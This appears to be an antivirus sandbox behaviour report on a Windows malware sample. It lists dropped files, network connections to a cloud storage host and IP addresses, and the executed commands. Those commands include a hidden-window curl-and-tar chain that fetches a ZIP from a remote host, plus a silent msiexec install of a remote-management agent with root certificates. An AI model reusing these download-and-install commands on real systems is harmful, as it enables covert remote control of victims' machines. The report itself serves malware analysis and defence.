C:\users\public\downlevel\api-ms-win-shcore-stream-l1-1-0.dll
C:\users\public\downlevel\ucrtbase.dll
C:\users\public\dpapi.dll
C:\users\public\dpapimig.exe
C:\users\public\dpapiprovider.dll
C:\users\public\dpiscaling.exe
C:\users\public\dplaysvr.exe
C:\users\public\dplayx.dll
C:\users\public\dpmodemx.dll
C:\users\public\dpnaddr.dll
C:\users\public\dpnathlp.dll
C:\users\public\dpnet.dll
C:\users\public\dpnhpast.dll
C:\users\public\dpnhupnp.dll
C:\users\public\dpnlobby.dll
C:\users\public\dpnsvr.exe
C:\users\public\dpwsockx.dll
C:\users\public\dpx.dll
C:\users\public\dragdropexperiencecommon.dll
C:\users\public\dragdropexperiencedataexchangedelegated.dll
C:\users\public\driverquery.exe
C:\users\public\drivers\afunix.sys
C:\users\public\drivers\en-us\ndiscap.sys.mui
C:\users\public\drivers\en-us\ndisimplatform.sys.mui
C:\users\public\drivers\en-us\wfplwfs.sys.mui
C:\users\public\drivers\gm.dls
C:\dmrootca\optimizeinstallation.vbs
C:\dmrootca\readme.html
C:\dmrootca\setup.bat
C:\users\public\drivers\gmreadme.txt
C:\users\public\driverstore\en-us\ntprint.inf_loc
C:\dmrootca\uemsagent.msi
C:\users\public\driverstore\en-us\prnms003.inf_loc
C:\users\public\drprov.dll
C:\users\public\drt.dll
C:\users\public\drtprov.dll
C:\users\public\drttransport.dll
C:\users\public\drvsetup.dll
C:\users\public\drvstore.dll
C:\users\public\dsauth.dll
C:\users\public\dsccoreconfprov.dll
C:\users\public\dsclient.dll
C:\users\public\dsdmo.dll
C:\users\public\dskquota.dll
C:\users\public\dskquoui.dll
C:\users\public\dsound.dll
C:\users\public\dsparse.dll
C:\users\public\dsprop.dll
C:\users\public\dsquery.dll
C:\users\public\dsreg.dll
C:\users\public\dsregtask.dll
C:\dmrootca\uemsagent.mst
C:\dmrootca\dcagentserverinfo.json
C:\dmrootca\dmrootca.crt
C:\dmrootca\dmrootca-server.crt
C:\users\public\dsrole.dll
C:\users\public\dssec.dat
C:\users\public\dssec.dll
C:\users\public\dssenh.dll
C:\users\public\dsui.dll
C:\users\public\dsuiext.dll
C:\users\public\dswave.dll
C:\users\public\dtdump.exe
C:\users\public\dtsh.dll
C:\users\public\dui70.dll
C:\users\public\duser.dll
C:\users\public\dusmapi.dll
C:\users\public\dvdplay.exe
C:\users\public\dwmapi.dll
C:\users\public\dwrite.dll
C:\users\public\dwwin.exe
C:\users\public\dxcore.dll
C:\users\public\dxdiag.exe
C:\users\public\dxdiagn.dll
C:\users\public\dxgi.dll
C:\users\public\dxilconv.dll
C:\users\public\dxmasf.dll
C:\users\public\dxptasksync.dll
C:\users\public\dxtmsft.dll
C:\users\public\dxtrans.dll
C:\users\public\dxva2.dll
C:\users\public\eapp3hst.dll
C:\users\public\eappcfg.dll
C:\users\public\eappgnui.dll
C:\users\public\eapphost.dll
C:\users\public\eappprxy.dll
C:\users\public\eapprovp.dll
C:\users\public\eapputil.dll
C:\users\public\eapsimextdesktop.dll
C:\users\public\eapteapconfig.dll
C:\users\public\eapteapext.dll
C:\users\public\easeofaccessdialog.exe
C:\users\public\easwrt.dll
C:\users\public\edgehtml.dll
C:\users\public\edgeiso.dll
C:\users\public\edgemanager.dll
C:\users\public\editbuffertesthook.dll
C:\users\public\editionupgradehelper.dll
C:\users\public\editionupgrademanagerobj.dll
C:\users\public\edpauditapi.dll
C:\users\public\edpnotify.exe
C:\users\public\edputil.dll
C:\users\public\efsadu.dll
C:\users\public\efsext.dll
C:\users\public\efsui.exe
C:\users\public\efsutil.dll
C:\users\public\efswrt.dll
C:\users\public\ehstorapi.dll
C:\users\public\ehstorauthn.exe
C:\users\public\ehstorpwdmgr.dll
C:\users\public\el-gr\aphostres.dll.mui
C:\users\public\el-gr\cdosys.dll.mui
C:\users\public\el-gr\comctl32.dll.mui
C:\users\public\el-gr\quickassist.exe.mui
C:\users\public\el-gr\syncres.dll.mui
C:\users\public\el-gr\windows.ui.xaml.dll.mui
C:\users\public\els.dll
C:\users\public\elscore.dll
C:\users\public\elshyph.dll
C:\users\public\elslad.dll
C:\users\public\elstrans.dll
C:\users\public\emailapis.dll
C:\users\public\embeddedmodesvcapi.dll
C:\users\public\en\authfwsnapin.resources.dll
C:\users\public\en\authfwwizfwk.resources.dll
C:\users\public\en-gb\comctl32.dll.mui
C:\users\public\en-gb\quickassist.exe.mui
C:\users\public\en-gb\syncres.dll.mui
C:\users\public\en-gb\windows.ui.xaml.dll.mui
C:\users\public\en-us\accountaccessor.dll.mui
C:\users\public\en-us\accountsrt.dll.mui
%WINDIR%\temp\~df4c6e7377eb5224c6.tmp
%WINDIR%\installer\sourcehash{6ad2231f-ff48-4d59-ac26-405afae23db7}
%WINDIR%\temp\~dfaf88f3151b559bb0.tmp
%WINDIR%\temp\~df2e89892784cb3e82.tmp
%WINDIR%\temp\~dfda1af6a79369516d.tmp

Deletes following files that it created itself

%TEMP%\ifeo.hiv
%TEMP%\ifeo.hiv.log1
C:\users\public\cache.exe

Network activity

Connects to

'10#.#99.102.28':441
'yx###########2.cos.ap-singapore.myqcloud.com':443
'15#.#01.2.133':80

TCP

HTTP GET requests

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?55##############

Other

'10#.#99.102.28':441
'yx###########2.cos.ap-singapore.myqcloud.com':443

UDP

DNS ASK yx###########2.cos.ap-singapore.myqcloud.com

Miscellaneous

Creates and executes the following

'C:\users\public\cache.exe'
'%WINDIR%\syswow64\cscript.exe' //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c curl -L -o C:\DMRootCA.zip https://yxz-1469461062.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DM...
'%WINDIR%\syswow64\curl.exe' -L -o C:\DMRootCA.zip https://yxz-1469461062.cos.ap-singapore.myqcloud.com/DMRootCA.zip
'%WINDIR%\syswow64\tar.exe' -xf C:\DMRootCA.zip -C C:\DMRootCA
'%WINDIR%\syswow64\msiexec.exe' /i "C:\DMRootCA\UEMSAgent.msi" TRANSFORMS="C:\DMRootCA\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\DMRootCA\DMRootCA-Server.crt" DS_ROOT_CRT="...
'%WINDIR%\syswow64\cmd.exe' /c curl -L -o C:\DMRootCA.zip https://yxz-1469461062.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DM...' (with hidden window)
'%WINDIR%\syswow64\msiexec.exe' /i "C:\DMRootCA\UEMSAgent.msi" TRANSFORMS="C:\DMRootCA\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\DMRootCA\DMRootCA-Server.crt" DS_ROOT_CRT="...' (with hidden window)

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней